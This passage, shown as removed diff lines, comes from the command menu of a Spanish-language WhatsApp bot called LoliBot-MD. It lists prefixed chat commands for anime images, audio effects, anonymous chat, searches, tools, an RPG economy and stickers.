-┆👾 _${usedPrefix}wpmoto_
-┆👾 _${usedPrefix}coffee_
-┆👾 _${usedPrefix}pentol_
-┆👾 _${usedPrefix}caricatura_
-┆👾 _${usedPrefix}ciberespacio_
-┆👾 _${usedPrefix}technology_
-┆👾 _${usedPrefix}doraemon_
-┆👾 _${usedPrefix}hacker_
-┆👾 _${usedPrefix}planeta_
-┆👾 _${usedPrefix}randomprofile_
-┆👾 _${usedPrefix}neko_
-┆👾 _${usedPrefix}waifu_
-┆👾 _${usedPrefix}akira_
-┆👾 _${usedPrefix}akiyama_
-┆👾 _${usedPrefix}anna_
-┆👾 _${usedPrefix}asuna_
-┆👾 _${usedPrefix}ayuzawa_
-┆👾 _${usedPrefix}boruto_
-┆👾 _${usedPrefix}chiho_
-┆👾 _${usedPrefix}chitoge_
-┆👾 _${usedPrefix}deidara_
-┆👾 _${usedPrefix}erza_
-┆👾 _${usedPrefix}elaina_
-┆👾 _${usedPrefix}eba_
-┆👾 _${usedPrefix}emilia_
-┆👾 _${usedPrefix}hestia_
-┆👾 _${usedPrefix}hinata_
-┆👾 _${usedPrefix}inori_
-┆👾 _${usedPrefix}isuzu_
-┆👾 _${usedPrefix}itachi_
-┆👾 _${usedPrefix}itori_
-┆👾 _${usedPrefix}kaga_
-┆👾 _${usedPrefix}kagura_
-┆👾 _${usedPrefix}kaori_
-┆👾 _${usedPrefix}keneki_
-┆👾 _${usedPrefix}kotori_
-┆👾 _${usedPrefix}kurumi_
-┆👾 _${usedPrefix}madara_
-┆👾 _${usedPrefix}mikasa_
-┆👾 _${usedPrefix}miku_
-┆👾 _${usedPrefix}minato_
-┆👾 _${usedPrefix}naruto_
-┆👾 _${usedPrefix}nezuko_
-┆👾 _${usedPrefix}sagiri_
-┆👾 _${usedPrefix}sasuke_
-┆👾 _${usedPrefix}sakura_
-┆👾 _${usedPrefix}cosplay_
-└─────────────
-
-┌───⊷ *COMANDO +18*
-┆ *Usar bajo su responsabilidad*
-┆ *Nota: no sea pajero*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆🔞 _${usedPrefix}hornymenu_
-└─────────────
-
-┌───⊷ *EFECTOS PARA NOTAS DE VOZ/AUDIOS*
-┆ *Realiza Modificaciones*
-┆ *al Audio o Nota de Voz!!*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆🎤 _${usedPrefix}audioefectomenu_
-└─────────────
-
-┌───⊷ *AUDIOS*
-┆ *Visita el Menú de Audios!!*
-┆ *Disfruta de una Gran Variedad*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆🔊 _${usedPrefix}menu2_
-┆🔊 _${usedPrefix}audios_
-└─────────────
-
-┌───⊷ *CHATS ANONIMO*
-┆ *¡Escribe con Alguien*
-┆ *de forma Anónima!*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆📳 _${usedPrefix}start_
-┆📳 _${usedPrefix}next_
-┆📳 _${usedPrefix}leave_
-└─────────────
-
-┌───⊷ *BUSCADORES*
-┆ *Busca lo que quieres con el Bot!!*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆🔍 _${usedPrefix}stickersearch **_
-┆🔍 _${usedPrefix}stickersearch2 **_
-┆🔍 _${usedPrefix}xnxxsearch **_
-┆🔍 _${usedPrefix}animeinfo **_
-┆🔍 _${usedPrefix}google **_
-┆🔍 _${usedPrefix}letra **_
-┆🔍 _${usedPrefix}wikipedia **_
-┆🔍 _${usedPrefix}ytsearch **_
-┆🔍 _${usedPrefix}apkdone **_
-┆🔍 _${usedPrefix}apkgoogle **_
-┆🔍 _${usedPrefix}apkmody **
-┆🔍 _${usedPrefix}uapkpro **_
-┆🔍 _${usedPrefix}playstore **_
-└─────────────
-
-┌───⊷ *HERRAMIENTAS*
-┆🛠️ _${usedPrefix}spamwa **_
-┆🛠️ _${usedPrefix}tamaño * *_
-┆🛠️ _${usedPrefix}clima * *_
-┆🛠️ _${usedPrefix}encuesta **_
-┆🛠️ _${usedPrefix}afk **_
-┆🛠️ _${usedPrefix}ocr **_
-┆🛠️ _${usedPrefix}acortar **_
-┆🛠️ _${usedPrefix}calc **_
-┆🛠️ _${usedPrefix}del **_
-┆🛠️ _${usedPrefix}whatmusic **_
-┆🛠️ _${usedPrefix}readqr **_
-┆🛠️ _${usedPrefix}qrcode **_
-┆🛠️ _${usedPrefix}readmore **_
-┆🛠️ _${usedPrefix}styletext **_
-┆🛠️ _${usedPrefix}traducir **_
-┆🛠️ _${usedPrefix}zoom **_
-┆🛠️ _${usedPrefix}nowa **_
-┆🛠️ _${usedPrefix}horario_
-└─────────────
-
-┌───⊷ *RPG - LIMITES - ECONÓMIAS*
-┆ *Compra, Adquiere Recuersos*
-┆ *Mejora Tú Nivel y Rango!!*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆💵 _${usedPrefix}verificar_
-┆💵 _${usedPrefix}unreg **_
-┆💵 _${usedPrefix}claim_
-┆💵 _${usedPrefix}lb_
-┆💵 _${usedPrefix}levelup_
-┆💵 _${usedPrefix}perfil_
-┆💵 _${usedPrefix}minar_
-┆💵 _${usedPrefix}buy_
-┆💵 _${usedPrefix}balance_
-┆💵 _${usedPrefix}myns_
-┆💵 _${usedPrefix}work_
-┆💵 _${usedPrefix}buyall_
-┆💵 _${usedPrefix}transfer * <@tag>*_
-└─────────────
-
-┌───⊷ *TOP EN LOLIBOT-MD*
-┆ *Averigua en que Top te encuentras!!*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆🏆➺ _${usedPrefix}top | lb | leaderboard_
-└─────────────
-
-┌───⊷ *STICKERS*
-┆ *Realiza stickers o crea*
-┆ *stickers con filtros!!*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆👽 _${usedPrefix}sticker **_
-┆👽 _${usedPrefix}sticker **_
-┆👽 _${usedPrefix}s **_
-┆👽 _${usedPrefix}s **_
-┆👽 _${usedPrefix}sfull **_
-┆👽 _${usedPrefix}emojimix *&*_
-┆👽 _${usedPrefix}scircle **_
-┆👽 _${usedPrefix}sremovebg **_
-┆👽 _${usedPrefix}semoji *